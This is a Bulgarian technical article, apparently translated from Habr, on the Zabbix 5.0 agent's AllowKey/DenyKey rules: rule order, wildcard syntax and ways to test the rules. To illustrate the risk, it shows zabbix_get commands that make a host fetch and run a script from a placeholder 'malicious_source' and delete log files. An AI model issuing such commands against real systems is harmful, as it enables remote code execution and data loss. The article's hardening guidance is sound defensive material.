🥇Поддръжка на черни и бели списъци за метрики на страната на агента в Zabbix 5.0

Поддръжка на черни и бели списъци за метрики от страна на агента

Тихон Усков, Инженер интеграция, Zabbix

Проблеми с безопасността на данните

В Zabbix 5.0 е добавена нова функция, която подобрява сигурността в системи, използващи Zabbix Agent, и замества стария параметър EnableRemoteCommands.

Подобряването на безопасността на системите с агента се дължи на факта, че агентът може да извършва множество потенциално опасни действия.

Агентът може да събира почти всякаква информация, включително конфиденциална или потенциално опасна, от конфигурационни файлове, файлове с дневници, файлове с пароли или всякакви други файлове.

Например, с помощта на утилитата zabbix_get може да получите достъп до списък на потребителите, техните домашни директории, файлове с пароли и т.н.

Достъп до данни с помощта на утилитата zabbix_get

ЗАБЕЛЕЖКА. Данните могат да бъдат получени само ако агентът има права за четене на съответния файл. Но например, файлът /etc/passwd/ е достъпен за четене от всички потребители.

Агентът също така може да извършва потенциално опасни команди. Например, ключът *system.run[]** позволява изпълнението на всякакви отдалечени команди на узлите в мрежата, включително стартиране на скриптове от уеб интерфейса на Zabbix, които изпълняват команди от страна на агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

В Linux агентът по подразбиране стартира без привилегии на root, докато в Windows той стартира като услуга от името на System и има неограничен достъп до файловата система. Следователно, ако след инсталирането не бъдат направени промени в параметрите на Zabbix Agent, агентът има достъп до регистъра, файловата система и може да изпълнява WMI заявки.

В по-ранни версии параметърът EnableRemoteCommands=0 позволяваше само деактивиране на метриките с ключа *system.run[]** и изпълнение на скриптове от уеб интерфейса, но не позволяваше ограничаване на достъпа до отделни файлове, разрешаване или забраняване на отделни ключове, които бяха инсталирани заедно с агента, или ограничаване на използването на отделни параметри.

Използването на параметъра EnableRemoteCommand в по-ранни версии на Zabbix

AllowKey/DenyKey

Zabbix 5.0 помага за защита от такъв неразрешен достъп, благодарение на белите и черни списъци за разрешаване и забраняване на метрики от страна на агента.

В Zabbix 5.0 всички ключове, включително *system.run[]**, са разрешени и са добавени два нови параметъра за конфигурация на агента:

AllowKey= — разрешени проверки;

DenyKey= — забранени проверки;

където — шаблон на името на ключа с параметри, в който се използват метасимволи (*).

Ключовете AllowKey и DenyKey позволяват да се разрешат или забранят отделни метрики по определен шаблон. В отличие от другите параметри на конфигурацията, броят на параметрите AllowKey/DenyKey не е ограничен. Това позволява ясно да се определи какво точно агентът може да прави в системата чрез създаването на дърво на проверките — изпълняваните ключове, където много важна роля играе реда на тяхното написване.

Последователност на правилата

Правилата се проверяват в реда, в който са внесени в конфигурационния файл. Проверка на ключа според правилата се случва до първото съвпадение, и веднага щом ключът на елемента съвпадне със шаблона, той се разрешава или забранява. След това проверката на правилата спира и останалите ключове се игнорират.

Следователно, ако елементът отговаря както на разрешаващото, така и на забраняващото правило, резултатът ще зависи от това кое правило е първо в конфигурационния файл.

2 различни правила с един и същ шаблон и ключ vfs.file.size[/tmp/file]

Ред на използване на ключовете AllowKey/DenyKey:

точни правила,
общи правила,
забраняващо правило.

Например, ако е необходимо да имате достъп до файлове в определена папка, трябва първо да разрешите достъпа до тях, след което да забраните всичко останало, което не попада под установените разрешения. Ако в първата позиция е използвано забраняващо правило, достъпът до папката ще бъде забранен.

Правилната последователност

Ако е необходимо да се разреши стартирането на 2 утилити чрез *system.run[]**, и ако първоначално бъде указано забраняващо правило, утилитите няма да стартират, защото първият шаблон винаги ще отговаря на всеки ключ и последващите правила ще се игнорират.

Неправилната последователност

Шаблони

Основни правила

Шаблон — израз с подставящи знаци (wildcard). Метасимвол (*) съответства на произволно количество произволни символи на определена позиция. Метасимволите могат да се използват както в името на ключа, така и в параметрите. Например, можете да определите първия параметър стриктно с текст, а последващия да определите като wildcard.

Параметрите трябва да бъдат поставени в квадратни скоби [].

system.run[* — неправилно
vfs.file*.txt] — неправилно
vfs.file.*[*] — вярно

Примери за използване на wildcard.

В името на ключа и в параметъра. В този случай ключът не съответства на аналогичен ключ, който не съдържа параметър, защото в патерна сме посочили, че искаме да получим определено завършване на името на ключа и определен набор от параметри.
Ако в патерна не са използвани квадратни скоби, патернът разрешава всички ключове, които не съдържат параметри и забранява всички ключове с указан параметър.
Ако ключът е записан напълно, а параметрите са указани като wildcard, той ще отговаря на всеки аналогичен ключ с каквито и да е параметри и няма да отговаря на ключ без квадратни скоби, т.е. ще бъде разрешен или забранен.

Правила за попълване на параметрите.

Ако се предполага използване на ключ с параметри, параметрите трябва да бъдат записани в конфигурационния файл. Параметрите трябва да бъдат указани като метасимвол. Необходимо е внимателно да се забрани достъпът до какъвто и да е файл и да се вземе предвид каква информация може да предостави метриката при различни варианти на написване — с параметри и без тях.

Особености при написване на ключове с параметри

Ако ключът е посочен с параметри, но параметрите са незадължителни и указани като метасимвол, ключ без параметри ще бъде разрешен. Например, ако искате да забраните получаването на информация за натоварването на CPU и посочвате, че ключът system.cpu.load[*] трябва да бъде забранен, не забравяйте, че ключ без параметри ще върне средната стойност на натоварването.

Правила за попълване на параметрите

Забележки

Настройка

Някои правила не могат да бъдат променяни от потребителя, например, правила за откритие (discovery) или авто-регистрация на агенти. Правилата AllowKey/DenyKey не засягат следните параметри:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem

ЗАБЕЛЕЖКА. Ако администраторът забрани някакъв ключ, при запитване Zabbix не предоставя информация за това, по каква причина метриката или ключът попадат в категория ‘NOTSUPPORTED‘. В log-файловете на агента информацията за забраните за изпълнение на отдалечени команди също не се показва. Това е направено от гледна точка на сигурността, но може да усложни отстраняването на проблеми, ако метриките попадат в неподдържана категория по каквато и да е причина..

Не трябва да се разчита на определен ред на свързване на външни конфигурационни файлове (например, в азбучен ред).

Утилити за команден ред

След настройването на правилата е необходимо да се уверите, че всичко е настроено правилно.

Можете да използвате един от трите варианта:

Добавете метрика в Zabbix.
Тествайте с помощта на zabbix_agentd. Zabbix агент с опцията -print (-p) показва всички ключове (които са разрешени по подразбиране), с изключение на тези, които не са разрешени от конфигурацията. А с опцията -test (-t) за забранен ключ ще върне ‘Unsupported item key‘.
Тествайте с помощта на zabbix_get. Утилитата zabbix_get с опцията -k ще върне ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Разрешаване или забраняване

Можете да забраните достъпа до файла и да проверите, например, с помощта на утилита zabbix_get, че достъпът до файла е забранен.

ЗАБЕЛЕЖКА. Кавичките в параметъра се игнорират.

В същото време достъпът до такъв файл може да бъде разрешен по друг път. Например, ако е свързан с симлинк.

Препоръчва се да проверявате различни варианти на прилагане на зададените правила, както и да вземате предвид възможностите за заобикаляне на забраните.

Въпроси и отговори

Въпрос. Защо за описанието на правилата, разрешенията и забраните е избрана такава сложна схема на паттерна със свой собствен език? Защо нямаше възможност да се използват, например, регулярни изрази, които използва Zabbix?

Отговор. Това е въпрос на производителността на regex, тъй като агентът обикновено е един и проверява голямо количество метрики. Regex е доста тежка операция и не можем да проверяваме хиляди метрики по този начин. Wildcards са универсално, широко приложимо и просто решение..

Въпрос. Нали файловете Include не се свързват по азбучен ред?

Отговор. Насколько ми е известно, предсказването на последователността на прилагане на правилата, ако разпространявате правилата по различни файлове, всъщност е невъзможно. Препоръчвам да съберете всички правила AllowKey/DenyKey в един файл Include, тъй като те взаимодействат помежду си, и да включите този файл..

Въпрос. В Zabbix 5.0 опцията ‘EnableRemoteCommands=‘ в конфигурационния файл отсъства и са налични само AllowKey/DenyKey?

Отговор. Да, всичко е вярно..

Благодаря за вниманието!

Източник: habr.com